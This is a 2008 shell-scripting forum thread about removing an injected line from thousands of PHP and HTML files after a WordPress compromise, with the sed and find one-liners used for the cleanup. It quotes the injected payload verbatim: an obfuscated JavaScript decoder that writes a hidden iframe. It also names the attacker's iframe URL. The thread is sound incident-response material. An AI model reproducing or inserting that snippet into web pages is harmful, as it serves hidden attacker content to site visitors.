Complex find grep or sed command


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Complex find grep or sed command
# 1  
Old 05-31-2008
Complex find grep or sed command

Haven't worked in bash for ages. did a good bit of shell scripting in regular sh, but have forgotten most of it.

I have several thousand php files that now include the following line at the end of the file. There is no LF or CR/LF before it begins, it is just concatenated to the final line of the file:

Code:
<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

I have tried about every find -exec grep, and sed command I can think of, but no joy!

I simply want to delete the line to the EOF in each file.

anyone have a quick solution?

Thanks!

--Steve
# 2  
Old 05-31-2008
Quite straight forward with sed:

file:
Code:
un
deux
trois
quatre<?php code to delete ?>

Code:
$ sed 's/<?php code to delete ;?>$//' file
> un
> deux
> trois
> quatre

If, as I can see, you have forward slashes in the string to delete, escape them or use another separator in sed like:
Code:
$ sed 's#<?php code to delete ;?>$##' file

You can also shorten the search pattern using regex "wild cards":
Code:
$ sed 's/<?php co.+lete ;?>$//' file

But be careful to be specific enough otherwise you will delete important lines that might match the pattern.

Finaly, when you are satisfied with the result, you can loop through all your files using the "in line" sed switch:
Code:
sed -i 's/pattern/replace/' file

But be double careful here. Once you run the command, no way back. So backup you files first!
# 3  
Old 05-31-2008
Try this
Code:
for file in php1 php2 php3 ...
do
sed -e '$d' $file > $file.tmp
rm $file
mv $file.tmp $file
done

Replace php1 php2 php3 ... wth your files
# 4  
Old 05-31-2008
finally done; Thanks!

Well, thanks to you all, finally got it done: Didn't fix my whole problem (site hack through sql injection) but does what needs to be done;

the originals are:

Code:
PHP:
<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Code:
HTML:
<script type="text/javascript">function count(str){var res = '';for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count('>khtcog"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr"ykfvj?3"jgkijv?3"htcogdqtfgt?2@'));</script>

here are the finals:

Code:
# this does the whole html piece: finds the files, then makes a copy of them appending .123bu456, then checks to see if they have an \n between the last line of real tags and the start of the hack; 
# if not, adds one, if so, ignores it; last it deletes the last line of the file which matches the find critera. It also ignores the .123bu456 files, if any are  already in existance, so it can safely be run more than once without
# creating numerous duplicate files..
find . \! \( -name '*.123bu456' -prune \) -exec grep -q "htcogdqtfgt?2@'));</script>" '{}' \; -print  |while read line; do file=$(cp ${line} ${line}.123bu456; sed -i 's#</html><script #</html>\n<script #g' ${line}; sed -i '$d' ${line} ); done

Code:
# this does the whole php piece: finds the files, then makes a copy of them appending .123bu456, then checks to see if they have an \n between the last line of real tags and the start of the hack; 
# if not, adds one, if so, ignores it; last it deletes the last line of the file which matches the find critera. It also ignores the .123bu456 files, if any are  already in existance, so it can safely be run more than once without
# creating numerous duplicate files..
find . \! \( -name '*.123bu456' -prune \) -exec grep -q "<?php echo '<script type=\"text/javascript\">function count(str){var res = \"\";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(\">khtcog" '{}' \; -print |while read line; do file=$(cp ${line} ${line}.123bu456; sed -i 's#<?php echo #\n<?php echo #g' ${line}; sed -i '$d' ${line} ); done

Not pretty, but does the job! Thanks!

Cause was a hack into a WordPress site (2.3.2); problem was, there are four sites on that domain: one asp, two WordPress (2.3 and 2.5) and a new, Joomla 1.5.2. When it got in, it was able to infect all the html/htm and all the php...have found nothing else, so far. But none of the sites are 'right' So far no more trojan problems from the target site (using an iframe):
Code:
http://www.wp-stats-php.info/iframe/wp-stats.php

Thanks again for the help!
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Complex Filter using grep, awk or sed

Hi, I'm not very familiar witrh sed or awk and hope the somebody can help me to solve my problem. I need to filter a text report using grep, sed or awk. I would like to cut out text lines with the pattern INFO and if exists the following lines of the pattern DETAILS. I need te keep the lines with... (4 Replies)
Discussion started by: Frankg
4 Replies

2. Shell Programming and Scripting

Complex grep command

Hallo Team, I need your help and its rather urgent. I have a file with thousands of lines. Here is a sample below: Sample1.txt BW235045560121114833444044@196.35.130.5 BW235106757121114-574455394@196.35.130.5 BW2349514941211141077771352@196.35.130.5... (5 Replies)
Discussion started by: kekanap
5 Replies

3. Shell Programming and Scripting

Help with Passing the Output of grep to sed command - to find and replace a string in a file.

I have a file example.txt as follows :SomeTextGoesHere $$TODAY_DT=20140818 $$TODAY_DT=20140818 $$TODAY_DT=20140818I need to automatically update the date (20140818) in the above file, by getting the new date as argument, using a shell script. (It would even be better if I could pass... (5 Replies)
Discussion started by: SriRamKrish
5 Replies

4. Shell Programming and Scripting

How to use grep & find command to find references to a particular file

Hi all , I'm new to unix I have a checked project , there exists a file called xxx.config . now my task is to find all the files in the checked out project which references to this xxx.config file. how do i use grep or find command . (2 Replies)
Discussion started by: Gangam
2 Replies

5. Homework & Coursework Questions

find grep sed commands homework

Use and complete the template provided. If you don't, your post may be deleted! 1. The problem statement, all variables and given/known data: I have to make as home work several commands with gerp find and sed 2. Relevant commands, code, scripts, algorithms: FIND command -use command find... (8 Replies)
Discussion started by: ViruS89
8 Replies

6. Shell Programming and Scripting

find command with complex logic

I'm looking to write a script that will do a find of directories and delete them if they are older than x days but keep the last x # of folders even if they are older than x days. The usage is for a deployment location, so we want to keep the location clean but retain maybe the last 2 builds that... (5 Replies)
Discussion started by: MaureenT
5 Replies

7. UNIX for Advanced & Expert Users

complex find command

Hi all, I am trying to execute the following command: find 'path' -ls -exec cksum {} \; As you can see this simply finds files from a given path and runs cksum on them. My problem is this, if i have a FIFO in a directory the find tries to execute cksum on it and gets stuck. From the man page i... (9 Replies)
Discussion started by: noam128
9 Replies

8. UNIX for Advanced & Expert Users

Find, Grep and then Sed

Example: I have folders 456 abc xyz 123 a1b I dont want to find in 123 and a1b. From rest folder i need to find in html and php files. find ./ -path "123" -prune and a1b find ./ -iname "*.htm*" -o -iname "*.shtm*" -o -iname "*.php" Now while finding i need to grep multiple... (7 Replies)
Discussion started by: nxvir
7 Replies

9. Shell Programming and Scripting

complex grep command

hi all i have file call "list.log" which contains like this 00300 000024501043846 0 00300 000034531322871 0 00600 000000489100734 0 and so on .. the file goes like this:(example first row) from position 1-5 the lider number(300),position 7-21 id... (0 Replies)
Discussion started by: naamas03
0 Replies

10. Answers to Frequently Asked Questions

advanced/complex uses of the find command

Perhaps the number one advanced find question is: How to stop find from descending into subdirectories? find command Performing a non-recursive find in Unix Use -prune with find command on AIX Searching for files over 30 days old in current directory disk space used for files with in a... (0 Replies)
Discussion started by: Perderabo
0 Replies
Login or Register to Ask a Question